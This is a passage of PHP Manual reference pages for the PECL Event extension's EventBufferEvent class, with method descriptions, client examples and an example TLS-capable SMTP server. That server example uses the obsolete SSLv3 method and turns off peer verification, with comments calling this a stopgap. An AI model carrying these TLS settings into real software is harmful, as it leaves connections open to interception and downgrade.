  • EventBufferEvent::connect — Connect buffer event's file descriptor to given address or UNIX socket
  • EventBufferEvent::connectHost — Connects to a hostname with optionally asyncronous DNS resolving
  • EventBufferEvent::__construct — Constructs EventBufferEvent object
  • EventBufferEvent::createPair — Creates two buffer events connected to each other
  • EventBufferEvent::disable — Disable events read, write, or both on a buffer event.
  • EventBufferEvent::enable — Enable events read, write, or both on a buffer event.
  • EventBufferEvent::free — Free a buffer event
  • EventBufferEvent::getDnsErrorString — Returns string describing the last failed DNS lookup attempt
  • EventBufferEvent::getEnabled — Returns bitmask of events currently enabled on the buffer event
  • EventBufferEvent::getInput — Returns underlying input buffer associated with current buffer event
  • EventBufferEvent::getOutput — Returns underlying output buffer associated with current buffer event
  • EventBufferEvent::read — Read buffer's data
  • EventBufferEvent::readBuffer — Drains the entire contents of the input buffer and places them into buf
  • EventBufferEvent::setCallbacks — Assigns read, write and event(status) callbacks
  • EventBufferEvent::setPriority — Assign a priority to a bufferevent
  • EventBufferEvent::setTimeouts — Set the read and write timeout for a buffer event
  • EventBufferEvent::setWatermark — Adjusts read and/or write watermarks
  • EventBufferEvent::sslError — Returns most recent OpenSSL error reported on the buffer event
  • EventBufferEvent::sslFilter — Create a new SSL buffer event to send its data over another buffer event
  • EventBufferEvent::sslRenegotiate — Tells a bufferevent to begin SSL renegotiation.
  • EventBufferEvent::sslSocket — Creates a new SSL buffer event to send its data over an SSL on a socket
  • EventBufferEvent::write — Adds data to a buffer event's output buffer
  • EventBufferEvent::writeBuffer — Adds contents of the entire buffer to a buffer event's output buffer

User Contributed Notes

There are no user contributed notes for this page.


Connect buffer event's file descriptor to given address or UNIX socket

  • « EventBufferEvent
  • EventBufferEvent::connectHost »
  • PHP Manual
  • EventBufferEvent
  • Connect buffer event's file descriptor to given address or UNIX socket

EventBufferEvent::connect

(PECL event >= 1.2.6-beta)

EventBufferEvent::connect — Connect buffer event's file descriptor to given address or UNIX socket

Description

public bool EventBufferEvent::connect ( string $addr )

Connect buffer event's file descriptor to given address(optionally with port), or a UNIX domain socket.

If socket is not assigned to the buffer event, this function allocates a new socket and makes it non-blocking internally.

To resolve DNS names(asyncronously), use EventBufferEvent::connectHost() method.

Parameters

addr

Should contain an IP address with optional port number, or a path to UNIX domain socket. Recognized formats are:

[IPv6Address]:port
[IPv6Address]
IPv6Address
IPv4Address:port
IPv4Address
unix:path
Note, 'unix:' prefix is currently not case sensitive.

Return Values

Returns TRUE on success. Otherwise FALSE.

Examples

Example #1 EventBufferEvent::connect() example

<?php
/*
 * 1. Connect to 127.0.0.1 at port 80
 * by means of EventBufferEvent::connect().
 *
 * 2. Request /index.cphp via HTTP/1.0
 * using the output buffer.
 *
 * 3. Asyncronously read the response and print it to stdout.
 */

/* Read callback */
function readcb($bev, $base) {
    $input = $bev->getInput();

    while (($n = $input->remove($buf, 1024)) > 0) {
        echo $buf;
    }
}

/* Event callback */
function eventcb($bev, $events, $base) {
    if ($events & EventBufferEvent::CONNECTED) {
        echo "Connected.\n";
    } elseif ($events & (EventBufferEvent::ERROR | EventBufferEvent::EOF)) {
        if ($events & EventBufferEvent::ERROR) {
            echo "DNS error: ", $bev->getDnsErrorString(), PHP_EOL;
        }

        echo "Closing\n";
        $base->exit();
        exit("Done\n");
    }
}

$base = new EventBase();

echo "step 1\n";
$bev = new EventBufferEvent($base, /* use internal socket */ NULL,
    EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS);
if (!$bev) {
    exit("Failed creating bufferevent socket\n");
}

echo "step 2\n";
$bev->setCallbacks("readcb", /* writecb */ NULL, "eventcb", $base);
$bev->enable(Event::READ | Event::WRITE);

echo "step 3\n";
/* Send request */
$output = $bev->getOutput();
if (!$output->add(
    "GET /index.cphp HTTP/1.0\r\n".
    "Connection: Close\r\n\r\n"
)) {
    exit("Failed adding request to output buffer\n");
}

/* Connect to the host syncronously.
 * We know the IP, and don't need to resolve DNS. */
if (!$bev->connect("127.0.0.1:80")) {
    exit("Can't connect to host\n");
}

/* Dispatch pending events */
$base->dispatch();

The above example will output something similar to:

step 1
step 2
step 3
Connected.
HTTP/1.1 200 OK
Server: nginx/1.2.6
Date: Sat, 09 Mar 2013 10:06:58 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: PHP/5.4.11--pl2-gentoo

sdfsdfsf
Closing
Done

Example #2 Connect to UNIX domain socket which presumably is served by a server, read response from the server and output it to the console

<?php
class MyUnixSocketClient {
    private $base, $bev;

    function __construct($base, $sock_path) {
        $this->base = $base;
        $this->bev = new EventBufferEvent($base, NULL, EventBufferEvent::OPT_CLOSE_ON_FREE,
            array ($this, "read_cb"), NULL, array ($this, "event_cb"));

        if (!$this->bev->connect("unix:$sock_path")) {
            trigger_error("Failed to connect to socket `$sock_path'", E_USER_ERROR);
        }

        $this->bev->enable(Event::READ);
    }

    function __destruct() {
        if ($this->bev) {
            $this->bev->free();
            $this->bev = NULL;
        }
    }

    function dispatch() {
        $this->base->dispatch();
    }

    function read_cb($bev, $unused) {
        $in = $bev->input;

        printf("Received %ld bytes\n", $in->length);
        printf("----- data ----\n");
        printf("%ld:\t%s\n", (int) $in->length, $in->pullup(-1));

        $this->bev->free();
        $this->bev = NULL;
        $this->base->exit(NULL);
    }

    function event_cb($bev, $events, $unused) {
        if ($events & EventBufferEvent::ERROR) {
            echo "Error from bufferevent\n";
        }

        if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
            $bev->free();
            $bev = NULL;
        } elseif ($events & EventBufferEvent::CONNECTED) {
            $bev->output->add("test\n");
        }
    }
}

if ($argc <= 1) {
    exit("Socket path is not provided\n");
}
$sock_path = $argv[1];

$base = new EventBase();
$cl = new MyUnixSocketClient($base, $sock_path);
$cl->dispatch();
?>

The above example will output something similar to:

Received 5 bytes
----- data ----
5:  test

See Also

  • EventBufferEvent::connectHost() - Connects to a hostname with optionally asyncronous DNS resolving

User Contributed Notes

There are no user contributed notes for this page.


Connects to a hostname with optionally asyncronous DNS resolving

  • « EventBufferEvent::connect
  • EventBufferEvent::__construct »
  • PHP Manual
  • EventBufferEvent
  • Connects to a hostname with optionally asyncronous DNS resolving

EventBufferEvent::connectHost

(PECL event >= 1.2.6-beta)

EventBufferEvent::connectHost — Connects to a hostname with optionally asyncronous DNS resolving

Description

public bool EventBufferEvent::connectHost ( EventDnsBase $dns_base , string $hostname , int $port [, int $family = EventUtil::AF_UNSPEC ] )

Resolves the DNS name hostname, looking for addresses of type family ( EventUtil::AF_* constants). If the name resolution fails, it invokes the event callback with an error event. If it succeeds, it launches a connection attempt just as EventBufferEvent::connect() would.

dns_base is optional. May be NULL, or an object created with EventDnsBase::__construct() . For asyncronous hostname resolving pass a valid event dns base resource. Otherwise the hostname resolving will block.

Note:

EventDnsBase is available only if Event configured --with-event-extra ( event_extra library, libevent protocol-specific functionality support including HTTP, DNS, and RPC ).

Note:

EventBufferEvent::connectHost() requires libevent-2.0.3-alpha or greater.

Parameters

dns_base

Object of EventDnsBase in case if DNS is to be resolved asyncronously. Otherwise NULL.

hostname

Hostname to connect to. Recognized formats are:

www.example.com (hostname)
 1.2.3.4 (ipv4address)
 ::1 (ipv6address)
[::1] ([ipv6address])

port

Port number

family

Address family. EventUtil::AF_UNSPEC , EventUtil::AF_INET , or EventUtil::AF_INET6 . See EventUtil constants .

Return Values

Returns TRUE on success. Otherwise FALSE.

Examples

Example #1 EventBufferEvent::connectHost() example

<?php
/* Read callback */
function readcb($bev, $base) {
    //$input = $bev->input; //$bev->getInput();

    //$pos = $input->search("TTP");
    $pos = $bev->input->search("TTP");

    while (($n = $bev->input->remove($buf, 1024)) > 0) {
        echo $buf;
    }
}

/* Event callback */
function eventcb($bev, $events, $base) {
    if ($events & EventBufferEvent::CONNECTED) {
        echo "Connected.\n";
    } elseif ($events & (EventBufferEvent::ERROR | EventBufferEvent::EOF)) {
        if ($events & EventBufferEvent::ERROR) {
            echo "DNS error: ", $bev->getDnsErrorString(), PHP_EOL;
        }

        echo "Closing\n";
        $base->exit();
        exit("Done\n");
    }
}

$base = new EventBase();

$dns_base = new EventDnsBase($base, TRUE); // We'll use async DNS resolving
if (!$dns_base) {
    exit("Failed to init DNS Base\n");
}

$bev = new EventBufferEvent($base, /* use internal socket */ NULL,
    EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS,
    "readcb", /* writecb */ NULL, "eventcb", $base
);
if (!$bev) {
    exit("Failed creating bufferevent socket\n");
}

//$bev->setCallbacks("readcb", /* writecb */ NULL, "eventcb", $base);
$bev->enable(Event::READ | Event::WRITE);

$output = $bev->output; //$bev->getOutput();
if (!$output->add(
    "GET {$argv[2]} HTTP/1.0\r\n".
    "Host: {$argv[1]}\r\n".
    "Connection: Close\r\n\r\n"
)) {
    exit("Failed adding request to output buffer\n");
}

if (!$bev->connectHost($dns_base, $argv[1], 80, EventUtil::AF_UNSPEC)) {
    exit("Can't connect to host {$argv[1]}\n");
}

$base->dispatch();
?>

The above example will output something similar to:

Connected.
HTTP/1.0 301 Moved Permanently
Location: http://www.google.co.uk/
Content-Type: text/html; charset=UTF-8
Date: Sat, 09 Mar 2013 12:21:19 GMT
Expires: Mon, 08 Apr 2013 12:21:19 GMT
Cache-Control: public, max-age=2592000
Server: gws
Content-Length: 221
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.co.uk/">here</A>.
</BODY></HTML>
Closing
Done

See Also

  • EventBufferEvent::connect() - Connect buffer event's file descriptor to given address or UNIX socket

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventBufferEvent object

  • « EventBufferEvent::connectHost
  • EventBufferEvent::createPair »
  • PHP Manual
  • EventBufferEvent
  • Constructs EventBufferEvent object

EventBufferEvent::__construct

(PECL event >= 1.2.6-beta)

EventBufferEvent::__construct — Constructs EventBufferEvent object

Description

public EventBufferEvent::__construct ( EventBase $base [, mixed $socket = NULL [, int $options = 0 [, callable $readcb = NULL [, callable $writecb = NULL [, callable $eventcb = NULL ]]]]] )

Create a buffer event on a socket, stream or a file descriptor. Passing NULL to socket means that the socket should be created later, e.g. by means of EventBufferEvent::connect() .

Parameters

base

Event base that should be associated with the new buffer event.

socket

May be created as a stream(not necessarily by means of sockets extension)

options

One of EventBufferEvent::OPT_* constants , or 0 .

readcb

Read event callback. See About buffer event callbacks .

writecb

Write event callback. See About buffer event callbacks .

eventcb

Status-change event callback. See About buffer event callbacks .

arg

A variable that will be passed to all the callbacks.

Return Values

Returns buffer event resource optionally associated with socket resource. */

See Also

  • EventBufferEvent::sslFilter() - Create a new SSL buffer event to send its data over another buffer event
  • EventBufferEvent::sslSocket() - Creates a new SSL buffer event to send its data over an SSL on a socket

User Contributed Notes

There are no user contributed notes for this page.


Creates two buffer events connected to each other

  • « EventBufferEvent::__construct
  • EventBufferEvent::disable »
  • PHP Manual
  • EventBufferEvent
  • Creates two buffer events connected to each other

EventBufferEvent::createPair

(PECL event >= 1.2.6-beta)

EventBufferEvent::createPair — Creates two buffer events connected to each other

Description

public static array EventBufferEvent::createPair ( EventBase $base [, int $options = 0 ] )

Returns array of two EventBufferEvent objects connected to each other. All the usual options are supported, except for EventBufferEvent::OPT_CLOSE_ON_FREE , which has no effect, and EventBufferEvent::OPT_DEFER_CALLBACKS , which is always on.

Parameters

base

Associated event base

options

EventBufferEvent::OPT_* constants combined with bitwise OR operator.

Return Values

Returns array of two EventBufferEvent objects connected to each other.

Changelog

Version | Description
1.9.0 | Method made static.

User Contributed Notes

There are no user contributed notes for this page.


Disable events read, write, or both on a buffer event.

  • « EventBufferEvent::createPair
  • EventBufferEvent::enable »
  • PHP Manual
  • EventBufferEvent
  • Disable events read, write, or both on a buffer event.

EventBufferEvent::disable

(PECL event >= 1.2.6-beta)

EventBufferEvent::disable — Disable events read, write, or both on a buffer event.

Description

public bool EventBufferEvent::disable ( int $events )

Disable events Event::READ , Event::WRITE , or Event::READ | Event::WRITE on a buffer event.

Parameters

events

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventBufferEvent::enable() - Enable events read, write, or both on a buffer event.

User Contributed Notes

There are no user contributed notes for this page.


Enable events read, write, or both on a buffer event.

  • « EventBufferEvent::disable
  • EventBufferEvent::free »
  • PHP Manual
  • EventBufferEvent
  • Enable events read, write, or both on a buffer event.

EventBufferEvent::enable

(PECL event >= 1.2.6-beta)

EventBufferEvent::enable — Enable events read, write, or both on a buffer event.

Description

public bool EventBufferEvent::enable ( int $events )

Enable events Event::READ , Event::WRITE , or Event::READ | Event::WRITE on a buffer event.

Parameters

events

Event::READ , Event::WRITE , or Event::READ | Event::WRITE on a buffer event.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventBufferEvent::disable() - Disable events read, write, or both on a buffer event.

User Contributed Notes

There are no user contributed notes for this page.


Free a buffer event

  • « EventBufferEvent::enable
  • EventBufferEvent::getDnsErrorString »
  • PHP Manual
  • EventBufferEvent
  • Free a buffer event

EventBufferEvent::free

(PECL event >= 1.2.6-beta)

EventBufferEvent::free — Free a buffer event

Description

public void EventBufferEvent::free ( void )

Free resources allocated by buffer event.

Usually there is no need to call this method, since normally it is done within internal object destructors. However, sometimes we have a long-time script allocating lots of instances, or a script with a heavy memory usage, where we need to free resources as soon as possible. In such cases EventBufferEvent::free() may be used to protect the script against running up to the memory_limit .

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Returns string describing the last failed DNS lookup attempt

  • « EventBufferEvent::free
  • EventBufferEvent::getEnabled »
  • PHP Manual
  • EventBufferEvent
  • Returns string describing the last failed DNS lookup attempt

EventBufferEvent::getDnsErrorString

(PECL event >= 1.2.6-beta)

EventBufferEvent::getDnsErrorString — Returns string describing the last failed DNS lookup attempt

Description

public string EventBufferEvent::getDnsErrorString ( void )

Returns string describing the last failed DNS lookup attempt made by EventBufferEvent::connectHost() , or an empty string, if there is no DNS error detected.

Parameters

This function has no parameters.

Return Values

Returns a string describing DNS lookup error, or an empty string for no error.

See Also

  • EventBufferEvent::connectHost() - Connects to a hostname with optionally asyncronous DNS resolving

User Contributed Notes

There are no user contributed notes for this page.


Returns bitmask of events currently enabled on the buffer event

  • « EventBufferEvent::getDnsErrorString
  • EventBufferEvent::getInput »
  • PHP Manual
  • EventBufferEvent
  • Returns bitmask of events currently enabled on the buffer event

EventBufferEvent::getEnabled

(PECL event >= 1.2.6-beta)

EventBufferEvent::getEnabled — Returns bitmask of events currently enabled on the buffer event

Description

public int EventBufferEvent::getEnabled ( void )

Returns bitmask of events currently enabled on the buffer event

Parameters

This function has no parameters.

Return Values

Returns integer representing a bitmask of events currently enabled on the buffer event

See Also

  • EventBufferEvent::enable() - Enable events read, write, or both on a buffer event.
  • EventBufferEvent::disable() - Disable events read, write, or both on a buffer event.

User Contributed Notes

There are no user contributed notes for this page.


Returns underlying input buffer associated with current buffer event

  • « EventBufferEvent::getEnabled
  • EventBufferEvent::getOutput »
  • PHP Manual
  • EventBufferEvent
  • Returns underlying input buffer associated with current buffer event

EventBufferEvent::getInput

(PECL event >= 1.2.6-beta)

EventBufferEvent::getInput — Returns underlying input buffer associated with current buffer event

Description

public EventBuffer EventBufferEvent::getInput ( void )

Returns underlying input buffer associated with current buffer event. An input buffer is a storage for data to read.

Note, there is also input property of EventBufferEvent class.

Parameters

This function has no parameters.

Return Values

Returns instance of EventBuffer input buffer associated with current buffer event.

Examples

Example #1 Buffer event's read callback

<?php
function readcb($bev, $base) {
    $input = $bev->input; //$bev->getInput();

    while (($n = $input->remove($buf, 1024)) > 0) {
        echo $buf;
    }
}
?>

See Also

  • EventBufferEvent::getOutput() - Returns underlying output buffer associated with current buffer event

User Contributed Notes

There are no user contributed notes for this page.


Returns underlying output buffer associated with current buffer event

  • « EventBufferEvent::getInput
  • EventBufferEvent::read »
  • PHP Manual
  • EventBufferEvent
  • Returns underlying output buffer associated with current buffer event

EventBufferEvent::getOutput

(PECL event >= 1.2.6-beta)

EventBufferEvent::getOutput — Returns underlying output buffer associated with current buffer event

Description

public EventBuffer EventBufferEvent::getOutput ( void )

Returns underlying output buffer associated with current buffer event. An output buffer is a storage for data to be written.

Note, there is also output property of EventBufferEvent class.

Parameters

This function has no parameters.

Return Values

Returns instance of EventBuffer output buffer associated with current buffer event.

Examples

Example #1 EventBufferEvent::getOutput() example

<?php
$base = new EventBase();

$dns_base = new EventDnsBase($base, TRUE); // Use async DNS resolving
if (!$dns_base) {
    exit("Failed to init DNS Base\n");
}

$bev = new EventBufferEvent($base, /* use internal socket */ NULL,
    EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS,
    "readcb", /* writecb */ NULL, "eventcb", $base
);
if (!$bev) {
    exit("Failed creating bufferevent socket\n");
}

$bev->enable(Event::READ | Event::WRITE);

$output = $bev->getOutput();
if (!$output->add(
    "GET {$argv[2]} HTTP/1.0\r\n".
    "Host: {$argv[1]}\r\n".
    "Connection: Close\r\n\r\n"
)) {
    exit("Failed adding request to output buffer\n");
}

/* ... */
?>

See Also

  • EventBufferEvent::getInput() - Returns underlying input buffer associated with current buffer event

User Contributed Notes

There are no user contributed notes for this page.


Read buffer's data

  • « EventBufferEvent::getOutput
  • EventBufferEvent::readBuffer »
  • PHP Manual
  • EventBufferEvent
  • Read buffer's data

EventBufferEvent::read

(PECL event >= 1.2.6-beta)

EventBufferEvent::read — Read buffer's data

Description

public string EventBufferEvent::read ( int $size )

Removes up to size bytes from the input buffer. Returns a string of data read from the input buffer.

Parameters

size

Maximum number of bytes to read

Return Values

Returns string of data read from the input buffer.

See Also

  • EventBufferEvent::readBuffer() - Drains the entire contents of the input buffer and places them into buf

User Contributed Notes

There are no user contributed notes for this page.


Drains the entire contents of the input buffer and places them into buf

  • « EventBufferEvent::read
  • EventBufferEvent::setCallbacks »
  • PHP Manual
  • EventBufferEvent
  • Drains the entire contents of the input buffer and places them into buf

EventBufferEvent::readBuffer

(PECL event >= 1.2.6-beta)

EventBufferEvent::readBuffer — Drains the entire contents of the input buffer and places them into buf

Description

public bool EventBufferEvent::readBuffer ( EventBuffer $buf )

Drains the entire contents of the input buffer and places them into buf .

Parameters

buf

Target buffer

Return Values

Returns TRUE on success; Otherwise FALSE.

See Also

  • EventBufferEvent::read() - Read buffer's data

User Contributed Notes

There are no user contributed notes for this page.


Assigns read, write and event(status) callbacks

  • « EventBufferEvent::readBuffer
  • EventBufferEvent::setPriority »
  • PHP Manual
  • EventBufferEvent
  • Assigns read, write and event(status) callbacks

EventBufferEvent::setCallbacks

(PECL event >= 1.2.6-beta)

EventBufferEvent::setCallbacks — Assigns read, write and event(status) callbacks

Description

public void EventBufferEvent::setCallbacks ( callable $readcb , callable $writecb , callable $eventcb [, string $arg ] )

Assigns read, write and event(status) callbacks.

Parameters

readcb

Read event callback. See About buffer event callbacks .

writecb

Write event callback. See About buffer event callbacks .

eventcb

Status-change event callback. See About buffer event callbacks .

arg

A variable that will be passed to all the callbacks.

Return Values

No value is returned.

See Also

  • EventBufferEvent::__construct() - Constructs EventBufferEvent object

User Contributed Notes

There are no user contributed notes for this page.


Assign a priority to a bufferevent

  • « EventBufferEvent::setCallbacks
  • EventBufferEvent::setTimeouts »
  • PHP Manual
  • EventBufferEvent
  • Assign a priority to a bufferevent

EventBufferEvent::setPriority

(PECL event >= 1.2.6-beta)

EventBufferEvent::setPriority — Assign a priority to a bufferevent

Description

public bool EventBufferEvent::setPriority ( int $priority )

Assign a priority to a bufferevent

Warning

Only supported for socket buffer events

Parameters

priority

Priority value.

Return Values

Returns TRUE on success. Otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Set the read and write timeout for a buffer event

  • « EventBufferEvent::setPriority
  • EventBufferEvent::setWatermark »
  • PHP Manual
  • EventBufferEvent
  • Set the read and write timeout for a buffer event

EventBufferEvent::setTimeouts

(PECL event >= 1.2.6-beta)

EventBufferEvent::setTimeouts — Set the read and write timeout for a buffer event

Description

public bool EventBufferEvent::setTimeouts ( float $timeout_read , float $timeout_write )

Set the read and write timeout for a buffer event

Parameters

timeout_read

Read timeout

timeout_write

Write timeout

Return Values

Returns TRUE on success. Otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Adjusts read and/or write watermarks

  • « EventBufferEvent::setTimeouts
  • EventBufferEvent::sslError »
  • PHP Manual
  • EventBufferEvent
  • Adjusts read and/or write watermarks

EventBufferEvent::setWatermark

(PECL event >= 1.2.6-beta)

EventBufferEvent::setWatermark — Adjusts read and/or write watermarks

Description

public void EventBufferEvent::setWatermark ( int $events , int $lowmark , int $highmark )

Adjusts the read watermarks, the write watermarks , or both, of a single buffer event.

A buffer event watermark is an edge, a value specifying number of bytes to be read or written before callback is invoked. By default every read/write event triggers a callback invokation. See » Fast portable non-blocking network programming with Libevent: Callbacks and watermarks

Parameters

events

Bitmask of Event::READ , Event::WRITE , or both.

lowmark

Minimum watermark value.

highmark

Maximum watermark value. 0 means "unlimited".

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Returns most recent OpenSSL error reported on the buffer event

  • « EventBufferEvent::setWatermark
  • EventBufferEvent::sslFilter »
  • PHP Manual
  • EventBufferEvent
  • Returns most recent OpenSSL error reported on the buffer event

EventBufferEvent::sslError

(PECL event >= 1.2.6-beta)

EventBufferEvent::sslError — Returns most recent OpenSSL error reported on the buffer event

Description

public string EventBufferEvent::sslError ( void )

Returns most recent OpenSSL error reported on the buffer event.

Note:

This function is available only if Event is compiled with OpenSSL support.

Parameters

This function has no parameters.

Return Values

Returns OpenSSL error string reported on the buffer event, or FALSE, if there is no more error to return.

Examples

Example #1 EventBufferEvent::sslError() example

<?php
// This callback is invoked when some even occurs on the event listener,
// e.g. connection closed, or an error occured
function ssl_event_cb($bev, $events, $ctx) {
    if ($events & EventBufferEvent::ERROR) {
        // Fetch errors from the SSL error stack
        while ($err = $bev->sslError()) {
            fprintf(STDERR, "Bufferevent error %s.\n", $err);
        }
    }

    if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
        $bev->free();
    }
}
?>

See Also

  • EventBufferEvent::sslRenegotiate() - Tells a bufferevent to begin SSL renegotiation.

User Contributed Notes

There are no user contributed notes for this page.


Create a new SSL buffer event to send its data over another buffer event

  • « EventBufferEvent::sslError
  • EventBufferEvent::sslRenegotiate »
  • PHP Manual
  • EventBufferEvent
  • Create a new SSL buffer event to send its data over another buffer event

EventBufferEvent::sslFilter

(PECL event >= 1.2.6-beta)

EventBufferEvent::sslFilter — Create a new SSL buffer event to send its data over another buffer event

Description

public static EventBufferEvent EventBufferEvent::sslFilter ( EventBase $base , EventBufferEvent $underlying , EventSslContext $ctx , int $state [, int $options = 0 ] )

Create a new SSL buffer event to send its data over another buffer event

Note:

This function is available only if Event is compiled with OpenSSL support.

Parameters

base

Associated event base.

underlying

A socket buffer event to use for this SSL.

ctx

Object of EventSslContext class.

state

The current state of SSL connection: EventBufferEvent::SSL_OPEN , EventBufferEvent::SSL_ACCEPTING or EventBufferEvent::SSL_CONNECTING .

options

One or more buffer event options.

Return Values

Returns a new SSL EventBufferEvent object.

Examples

Example #1 Simple SMTP server

<?php
 /*
 * Author: Andrew Rose <hello at andrewrose dot co dot uk>
 *
 * Usage:
 * 1) Prepare cert.pem certificate and privkey.pem private key files.
 * 2) Launch the server script
 * 3) Open TLS connection, e.g.:
 *      $ openssl s_client -connect localhost:25 -starttls smtp -crlf
 * 4) Start testing the commands listed in `cmd` method below.
 */

class Handler {
    public $domainName = FALSE;
    public $connections = [];
    public $buffers = [];
    public $maxRead = 256000;

    public function __construct() {
        $this->ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, [
            EventSslContext::OPT_LOCAL_CERT  => 'cert.pem',
            EventSslContext::OPT_LOCAL_PK    => 'privkey.pem',
            //EventSslContext::OPT_PASSPHRASE  => '',
            EventSslContext::OPT_VERIFY_PEER => false, // change to true with authentic cert
            EventSslContext::OPT_ALLOW_SELF_SIGNED => true // change to false with authentic cert
        ]);

        $this->base = new EventBase();
        if (!$this->base) {
            exit("Couldn't open event base\n");
        }

        if (!$this->listener = new EventListener($this->base,
            [$this, 'ev_accept'],
            $this->ctx,
            EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
            -1,
            '0.0.0.0:25'))
        {
            exit("Couldn't create listener\n");
        }

        $this->listener->setErrorCallback([$this, 'ev_error']);
        $this->base->dispatch();
    }

    public function ev_accept($listener, $fd, $address, $ctx) {
        static $id = 0;
        $id += 1;

        $this->connections[$id]['clientData'] = '';
        $this->connections[$id]['cnx'] = new EventBufferEvent($this->base, $fd,
            EventBufferEvent::OPT_CLOSE_ON_FREE);

        if (!$this->connections[$id]['cnx']) {
            echo "Failed creating buffer\n";
            $this->base->exit(NULL);
            exit(1);
        }

        $this->connections[$id]['cnx']->setCallbacks([$this, "ev_read"], NULL,
            [$this, 'ev_error'], $id);
        $this->connections[$id]['cnx']->enable(Event::READ | Event::WRITE);

        $this->ev_write($id, '220 '.$this->domainName." wazzzap?\r\n");
    }

    function ev_error($listener, $ctx) {
        $errno = EventUtil::getLastSocketErrno();

        fprintf(STDERR, "Got an error %d (%s) on the listener. Shutting down.\n",
            $errno, EventUtil::getLastSocketError());

        if ($errno != 0) {
            $this->base->exit(NULL);
            exit();
        }
    }

    public function ev_close($id) {
        $this->connections[$id]['cnx']->disable(Event::READ | Event::WRITE);
        unset($this->connections[$id]);
    }

    protected function ev_write($id, $string) {
        echo 'S('.$id.'): '.$string;
        $this->connections[$id]['cnx']->write($string);
    }

    public function ev_read($buffer, $id) {
        while($buffer->input->length > 0) {
            $this->connections[$id]['clientData'] .= $buffer->input->read($this->maxRead);
            $clientDataLen = strlen($this->connections[$id]['clientData']);

            if($this->connections[$id]['clientData'][$clientDataLen-1] == "\n"
                && $this->connections[$id]['clientData'][$clientDataLen-2] == "\r")
            {
                // remove the trailing \r\n
                $line = substr($this->connections[$id]['clientData'], 0,
                    strlen($this->connections[$id]['clientData']) - 2);

                $this->connections[$id]['clientData'] = '';
                $this->cmd($buffer, $id, $line);
            }
        }
    }

    protected function cmd($buffer, $id, $line) {
        switch ($line) {
            case strncmp('EHLO ', $line, 4):
                $this->ev_write($id, "250-STARTTLS\r\n");
                $this->ev_write($id, "250 OK ehlo\r\n");
                break;

            case strncmp('HELO ', $line, 4):
                $this->ev_write($id, "250-STARTTLS\r\n");
                $this->ev_write($id, "250 OK helo\r\n");
                break;

            case strncmp('QUIT', $line, 3):
                $this->ev_write($id, "250 OK quit\r\n");
                $this->ev_close($id);
                break;

            case strncmp('STARTTLS', $line, 3):
                $this->ev_write($id, "220 Ready to start TLS\r\n");
                $this->connections[$id]['cnx'] = EventBufferEvent::sslFilter($this->base,
                    $this->connections[$id]['cnx'], $this->ctx,
                    EventBufferEvent::SSL_ACCEPTING,
                    EventBufferEvent::OPT_CLOSE_ON_FREE);
                $this->connections[$id]['cnx']->setCallbacks([$this, "ev_read"], NULL, [$this, 'ev_error'], $id);
                $this->connections[$id]['cnx']->enable(Event::READ | Event::WRITE);
                break;

            default:
                echo 'unknown command: '.$line."\n";
                break;
        }
    }
}

new Handler();

See Also

  • EventBufferEvent::sslSocket() - Creates a new SSL buffer event to send its data over an SSL on a socket

User Contributed Notes

There are no user contributed notes for this page.


Tells a bufferevent to begin SSL renegotiation.

  • « EventBufferEvent::sslFilter
  • EventBufferEvent::sslSocket »
  • PHP Manual
  • EventBufferEvent
  • Tells a bufferevent to begin SSL renegotiation.

EventBufferEvent::sslRenegotiate

(PECL event >= 1.2.6-beta)

EventBufferEvent::sslRenegotiate — Tells a bufferevent to begin SSL renegotiation.

Description

public void EventBufferEvent::sslRenegotiate ( void )

Tells a bufferevent to begin SSL renegotiation.

Warning

Calling this function tells the SSL to renegotiate, and the buffer event to invoke appropriate callbacks. This is an advanced topic; this should be generally avoided unless one really knows what he/she does, especially since many SSL versions have had known security issues related to renegotiation.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new SSL buffer event to send its data over an SSL on a socket

  • « EventBufferEvent::sslRenegotiate
  • EventBufferEvent::write »
  • PHP Manual
  • EventBufferEvent
  • Creates a new SSL buffer event to send its data over an SSL on a socket

EventBufferEvent::sslSocket

(PECL event >= 1.2.6-beta)

EventBufferEvent::sslSocket — Creates a new SSL buffer event to send its data over an SSL on a socket

Description

public static EventBufferEvent EventBufferEvent::sslSocket ( EventBase $base , mixed $socket , EventSslContext $ctx , int $state [, int $options ] )

Creates a new SSL buffer event to send its data over an SSL on a socket.

Parameters

base

Associated event base.

socket

Socket to use for this SSL. Can be stream or socket resource, numeric file descriptor, or NULL. If socket is NULL, it is assumed that the file descriptor for the socket will be assigned later, for instance, by means of EventBufferEvent::connectHost() method.

ctx

Object of EventSslContext class.

state

The current state of SSL connection: EventBufferEvent::SSL_OPEN , EventBufferEvent::SSL_ACCEPTING or EventBufferEvent::SSL_CONNECTING .

options

The buffer event options.

Return Values

Returns EventBufferEvent object.

See Also

  • EventBufferEvent::sslFilter() - Create a new SSL buffer event to send its data over another buffer event

User Contributed Notes

There are no user contributed notes for this page.


Adds data to a buffer event's output buffer

  • « EventBufferEvent::sslSocket
  • EventBufferEvent::writeBuffer »
  • PHP Manual
  • EventBufferEvent
  • Adds data to a buffer event's output buffer

EventBufferEvent::write

(PECL event >= 1.2.6-beta)

EventBufferEvent::write — Adds data to a buffer event's output buffer

Description

